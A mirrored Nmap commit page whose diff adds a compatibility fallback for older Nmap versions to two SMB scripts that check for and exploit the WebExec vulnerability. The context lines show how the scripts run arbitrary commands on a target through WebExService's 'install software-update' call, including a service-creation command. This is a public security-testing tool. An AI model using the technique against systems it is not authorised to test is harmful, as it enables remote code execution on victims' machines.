PenTest/nmap
1
0
Fork 0
mirror of https://github.com/nmap/nmap.git synced 2025-12-07 13:11:28 +00:00
Code Issues Projects Releases Wiki Activity

Compatibility hack for older Nmap versions

Browse Source
This commit is contained in:
dmiller
2018-10-24 16:35:33 +00:00
parent 1419b86e13
commit 8fef7f7df5
2 changed files with 12 additions and 7 deletions
Download Patch File Download Diff File Expand all files Collapse all files

13
scripts/smb-vuln-webexec.nse
View File

@@ -1,11 +1,14 @@
local msrpc = require "msrpc" local msrpc = require "msrpc"
local rand = require "rand"
local string = require "string" local string = require "string"
local shortport = require "shortport" local shortport = require "shortport"
local smb = require "smb" local smb = require "smb"
local stdnse = require "stdnse" local stdnse = require "stdnse"
local vulns = require "vulns" local vulns = require "vulns"
local stringaux = require "stringaux" -- compat stuff for Nmap 7.70 and earlier
local have_rand, rand = pcall(require, "rand")
local random_string = have_rand and rand.random_string or stdnse.generate_random_string
local have_stringaux, stringaux = pcall(require, "stringaux")
local strsplit = (have_stringaux and stringaux or stdnse).strsplit
description = [[ description = [[
Checks whether the WebExService is installed and allows us to run code. Checks whether the WebExService is installed and allows us to run code.
@@ -49,7 +52,7 @@ action = function(host, port)
local close_result local close_result
local bind_result local bind_result
local result local result
local test_service = rand.random_string(16, "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY") local test_service = random_string(16, "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY")
local vuln = { local vuln = {
title = "Remote Code Execution vulnerability in WebExService", title = "Remote Code Execution vulnerability in WebExService",
@@ -118,7 +121,7 @@ action = function(host, port)
-- Create a test service that we can query -- Create a test service that we can query
local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe" local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
stdnse.debug1("Creating a test service: " .. webexec_command) stdnse.debug1("Creating a test service: " .. webexec_command)
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stringaux.strsplit(" ", "install software-update 1 " .. webexec_command)) status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], strsplit(" ", "install software-update 1 " .. webexec_command))
if not status then if not status then
vuln.check_results = "Could not start WebExService" vuln.check_results = "Could not start WebExService"
return report:make_output(vuln) return report:make_output(vuln)
@@ -154,7 +157,7 @@ action = function(host, port)
-- Delete the service and clean up (ignore the return values because there's nothing more that we can really do) -- Delete the service and clean up (ignore the return values because there's nothing more that we can really do)
webexec_command = "sc delete " .. test_service .. "" webexec_command = "sc delete " .. test_service .. ""
stdnse.debug1("Cleaning up the test service: " .. webexec_command) stdnse.debug1("Cleaning up the test service: " .. webexec_command)
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stringaux.strsplit(" ", "install software-update 1 " .. webexec_command)) status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], strsplit(" ", "install software-update 1 " .. webexec_command))
msrpc.svcctl_closeservicehandle(smbstate, open_result['handle']) msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
smb.stop(smbstate) smb.stop(smbstate)

6
scripts/smb-webexec-exploit.nse
View File

@@ -3,7 +3,9 @@ local smb = require "smb"
local stdnse = require "stdnse" local stdnse = require "stdnse"
local string = require "string" local string = require "string"
local shortport = require "shortport" local shortport = require "shortport"
local stringaux = require "stringaux" -- compat stuff for Nmap 7.70 and earlier
local have_stringaux, stringaux = pcall(require, "stringaux")
local strsplit = (have_stringaux and stringaux or stdnse).strsplit
description = [[ description = [[
Attempts to run a command via WebExService, using the WebExec vulnerability. Attempts to run a command via WebExService, using the WebExec vulnerability.
@@ -44,7 +46,7 @@ portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")
local run_command = function(smbstate, service_handle, command) local run_command = function(smbstate, service_handle, command)
stdnse.debug1("Attempting to run: " .. command) stdnse.debug1("Attempting to run: " .. command)
return msrpc.svcctl_startservicew(smbstate, service_handle, stringaux.strsplit(" ", "install software-update 1 " .. command)) return msrpc.svcctl_startservicew(smbstate, service_handle, strsplit(" ", "install software-update 1 " .. command))
end end
action = function(host, port) action = function(host, port)